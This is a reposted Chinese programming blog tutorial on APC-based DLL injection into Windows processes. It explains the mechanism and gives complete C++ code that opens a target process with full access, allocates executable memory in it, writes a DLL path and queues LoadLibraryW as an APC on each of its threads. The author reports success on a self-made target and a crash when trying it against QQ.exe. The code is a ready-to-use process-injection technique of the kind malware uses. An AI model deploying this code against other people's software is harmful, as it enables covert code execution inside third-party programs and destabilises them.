欢迎访问 生活随笔!

生活随笔

当前位置: 首页 > 编程资源 > 编程问答 >内容正文

编程问答

DLL注入-APC注入

发布时间:2025/6/17 编程问答 8 豆豆
生活随笔 收集整理的这篇文章主要介绍了 DLL注入-APC注入 小编觉得挺不错的,现在分享给大家,帮大家做个参考.

APC注入

APC注入的原理是利用当线程被唤醒时APC中的注册函数会被执行的机制,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的,其具体流程如下:
    1)当EXE里某个线程执行到SleepEx()或者WaitForSingleObjectEx()时,系统就会产生一个软中断(或者是Messagebox弹窗的时候不点OK的时候也能注入
    2)当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数。
    3)利用QueueUserAPC()这个API可以在软中断时向线程的APC队列插入一个函数指针,如果我们插入的是Loadlibrary()执行函数的话,就能达到注入DLL的目的。


核心函数:


局限:

  这种注入方式局限性很明显,一是必须要等待时机,而是当注入成功后,SleepEx或者其他等待函数直接就会跳过当前等待继续往下走,这样可能造成被注入程序的不稳定行,经常导致被注入程序崩溃。


代码:

// LoadExeWin32.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" #include <string> #include <windows.h> #include <shlwapi.h> #include <tlhelp32.h> #include <winternl.h> #pragma comment(lib, "shlwapi.lib") #pragma comment(lib,"ntdll.lib")using namespace std;//根据进程名字获取pid DWORD GetPidFromName(wstring wsProcessName) { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE){ return FALSE; } PROCESSENTRY32W pe = {sizeof(pe)}; BOOL bOk; for (bOk = Process32FirstW(hSnapshot, &pe); bOk; bOk = Process32NextW(hSnapshot, &pe)){ wstring wsNowProcName = pe.szExeFile; if(StrStrI(wsNowProcName.c_str() ,wsProcessName.c_str())!= NULL){ CloseHandle(hSnapshot); return pe.th32ProcessID; } } CloseHandle(hSnapshot); return 0; } //把wcCacheInDllPath DLL文件注入进程wsProcessName BOOL Injection_APC(const wstring &wsProcessName ,const WCHAR wcCacheInDllPath[]){ //初始化 DWORD dwProcessId = GetPidFromName(wsProcessName); HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcessId); if (!hProcess){ return FALSE; } PVOID lpData = VirtualAllocEx(hProcess, NULL, 1024, MEM_COMMIT, PAGE_EXECUTE_READWRITE); DWORD dwRet; if (lpData) { //在远程进程申请空间中写入待注入DLL的路径 WriteProcessMemory(hProcess, lpData, (LPVOID)wcCacheInDllPath, MAX_PATH,&dwRet); } CloseHandle(hProcess); //开始注入 THREADENTRY32 te = {sizeof(THREADENTRY32)}; //得到线程快照 HANDLE handleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD ,0); if (INVALID_HANDLE_VALUE == handleSnap) { return FALSE; } BOOL bStat = FALSE; //得到第一个线程 if (Thread32First(handleSnap,&te)){ do { //进行进程ID对比 if (te.th32OwnerProcessID == dwProcessId) { //得到线程句柄 HANDLE handleThread = OpenThread(THREAD_ALL_ACCESS ,FALSE ,te.th32ThreadID); if (handleThread) { //向线程插入APC DWORD dwRet = QueueUserAPC( (PAPCFUNC)LoadLibraryW, handleThread, (ULONG_PTR)lpData); if (dwRet > 0) { bStat = TRUE; } //关闭句柄 CloseHandle(handleThread); } } //循环下一个线程 } while (Thread32Next(handleSnap,&te)); } CloseHandle(handleSnap); return bStat; } //Adds a user-mode asynchronous procedure call (APC) int main(int argc, char* argv[]){ //Sleep(1000*100); Injection_APC(L"Sleep3M.exe" ,L"M.dll");return 0; }

然后写一个测试DLL:


然后再写一个被注入程序:

 

测试结果:

注入自己的程序成功:


随便尝试了下注入QQ.exe,直接崩溃退出了。

总结

以上是生活随笔为你收集整理的DLL注入-APC注入的全部内容,希望文章能够帮你解决所遇到的问题。

如果觉得生活随笔网站内容还不错,欢迎将生活随笔推荐给好友。